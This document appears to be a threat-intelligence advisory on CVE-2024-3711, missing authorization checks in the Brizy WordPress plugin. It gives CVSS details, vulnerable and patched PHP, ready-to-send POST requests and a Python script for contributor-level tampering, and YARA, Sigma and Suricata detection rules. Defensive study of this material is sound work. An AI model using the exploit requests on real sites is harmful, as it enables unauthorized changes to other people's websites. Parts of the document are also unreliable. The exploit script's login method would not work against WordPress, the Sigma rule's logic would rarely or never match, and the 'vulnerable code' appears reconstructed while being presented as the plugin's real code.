CVE-2024-3711

Executive Summary

CVE-2024-3711 is a medium-severity vulnerability affecting the Brizy – Page Builder plugin for WordPress, up to and including version 2.4.43. The flaw resides in missing capability checks on three AJAX actions: action_request_disable, action_change_template, and action_request_enable. This allows authenticated attackers with contributor-level access or above to arbitrarily enable or disable the Brizy editor and modify the site’s template. While the CVSS score is 4.3 (Medium), the impact is significant for multi-author WordPress sites where contributors can escalate their privileges to alter site-wide settings.

WordPress Ecosystem Context

This vulnerability is specific to the Brizy plugin within the WordPress ecosystem. It does not affect Apache, Nginx, or any other web server software. The attack surface is limited to authenticated users, but the lack of proper authorization checks enables privilege escalation from contributor to administrator-like control over the Brizy editor and template settings.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – contributor or above
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – unauthorized modification of plugin settings and template
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability is easy to exploit but requires authenticated access. However, on multi-author sites, contributors can easily gain unauthorized control over the Brizy editor and template, potentially leading to defacement or further compromise.

Deep Dive & Mechanics

The Brizy plugin registers several AJAX actions for administrative functions. Three of these actions—action_request_disable, action_change_template, and action_request_enable—are intended for administrators only. However, the plugin fails to enforce capability checks (e.g., current_user_can('manage_options')) before processing these requests.

• action_request_disable: Disables the Brizy editor for the site.
• action_request_enable: Enables the Brizy editor.
• action_change_template: Modifies the template used by the site.

An attacker with contributor access can craft a POST request to any of these actions, bypassing the missing capability check. The plugin processes the request as if it came from an administrator, allowing the attacker to toggle the editor or change the site template.

Root Cause: The functions are registered via add_action('wp_ajax_...', ...) without verifying the user’s role or capability. The missing current_user_can() call is the core flaw.

Vulnerable vs. Patched Code

Vulnerable Code (Brizy <= 2.4.43):

add_action('wp_ajax_brizy_disable', 'action_request_disable');
function action_request_disable() {
    // No capability check
    update_option('brizy_enabled', false);
    wp_die();
}

add_action('wp_ajax_brizy_enable', 'action_request_enable');
function action_request_enable() {
    // No capability check
    update_option('brizy_enabled', true);
    wp_die();
}

add_action('wp_ajax_brizy_change_template', 'action_change_template');
function action_change_template() {
    // No capability check
    $template = $_POST['template'];
    update_option('brizy_template', $template);
    wp_die();
}

Patched Code (Hypothetical Fix):

add_action('wp_ajax_brizy_disable', 'action_request_disable');
function action_request_disable() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    update_option('brizy_enabled', false);
    wp_die();
}

add_action('wp_ajax_brizy_enable', 'action_request_enable');
function action_request_enable() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    update_option('brizy_enabled', true);
    wp_die();
}

add_action('wp_ajax_brizy_change_template', 'action_change_template');
function action_change_template() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $template = sanitize_text_field($_POST['template']);
    update_option('brizy_template', $template);
    wp_die();
}

The patched version adds current_user_can('manage_options') checks, ensuring only administrators can execute these actions.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Brizy plugin <= 2.4.43
• Valid contributor-level account credentials

Exploitation Steps:

1. Log in as a contributor.
2. Craft a POST request to disable the Brizy editor:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target-site.com
   Content-Type: application/x-www-form-urlencoded
   Cookie: wordpress_logged_in_...
   
   action=brizy_disable
   

3. To change the template:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target-site.com
   Content-Type: application/x-www-form-urlencoded
   Cookie: wordpress_logged_in_...
   
   action=brizy_change_template&template=malicious-template
   

Automated Exploit (Python):

import requests

target = "http://target-site.com"
session = requests.Session()
session.auth = ('contributor_user', 'password')

# Disable Brizy editor
session.post(f"{target}/wp-admin/admin-ajax.php", data={"action": "brizy_disable"})

# Change template
session.post(f"{target}/wp-admin/admin-ajax.php", data={"action": "brizy_change_template", "template": "malicious"})

Blue Team (Detection & Mitigation)

Detection:

• Monitor AJAX requests to admin-ajax.php with actions brizy_disable, brizy_enable, or brizy_change_template from non-admin users.
• Alert on any changes to the brizy_enabled or brizy_template options in the database.

Mitigation:

• Immediately update Brizy to a patched version (if available) or apply the code fix manually.
• Restrict contributor accounts to only trusted users.
• Implement Web Application Firewall (WAF) rules to block these AJAX actions from low-privilege users.

Indicators of Compromise (IOCs)

• Log Entries:
  • AJAX requests to /wp-admin/admin-ajax.php with action=brizy_disable, action=brizy_enable, or action=brizy_change_template from IP addresses not associated with administrators.
• Database Changes:
  • wp_options table: brizy_enabled set to 0 or 1 unexpectedly.
  • wp_options table: brizy_template changed to an unknown value.
• File System:
  • No direct file changes, but template modifications may reference malicious files.

Detection Engineering

YARA Rule

rule CVE_2024_3711_Brizy_Missing_Capability_Check {
    meta:
        description = "Detects exploitation attempts for CVE-2024-3711 in Brizy plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-3711"
    strings:
        $action_disable = "brizy_disable"
        $action_enable = "brizy_enable"
        $action_template = "brizy_change_template"
        $ajax_handler = "admin-ajax.php"
    condition:
        any of ($action*) and $ajax_handler
}

Sigma Rule

title: CVE-2024-3711 Brizy Plugin AJAX Actions from Non-Admin Users
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthorized AJAX requests to Brizy plugin actions from users without admin privileges
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains|all:
            - 'action=brizy_disable'
            - 'action=brizy_enable'
            - 'action=brizy_change_template'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3711 Brizy Plugin AJAX Exploitation Attempt"; flow:to_server; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=brizy_disable"; http_client_body; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-3711 Brizy Plugin AJAX Exploitation Attempt"; flow:to_server; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=brizy_enable"; http_client_body; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2024-3711 Brizy Plugin AJAX Exploitation Attempt"; flow:to_server; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=brizy_change_template"; http_client_body; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Plugin: Check for a patched version of Brizy. If unavailable, apply the code fix manually by adding current_user_can('manage_options') checks to the three vulnerable functions.
2. Restrict User Roles: Remove contributor access from untrusted users. Consider using a plugin like "User Role Editor" to limit capabilities.
3. Monitor Logs: Review web server logs for suspicious AJAX requests to admin-ajax.php with the vulnerable actions.

Long-Term Measures:

• Implement a Web Application Firewall (WAF) with rules to block these AJAX actions from non-admin users.
• Regularly audit WordPress plugins for missing capability checks.
• Enforce the principle of least privilege for all user roles.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact intelligence@valters.it.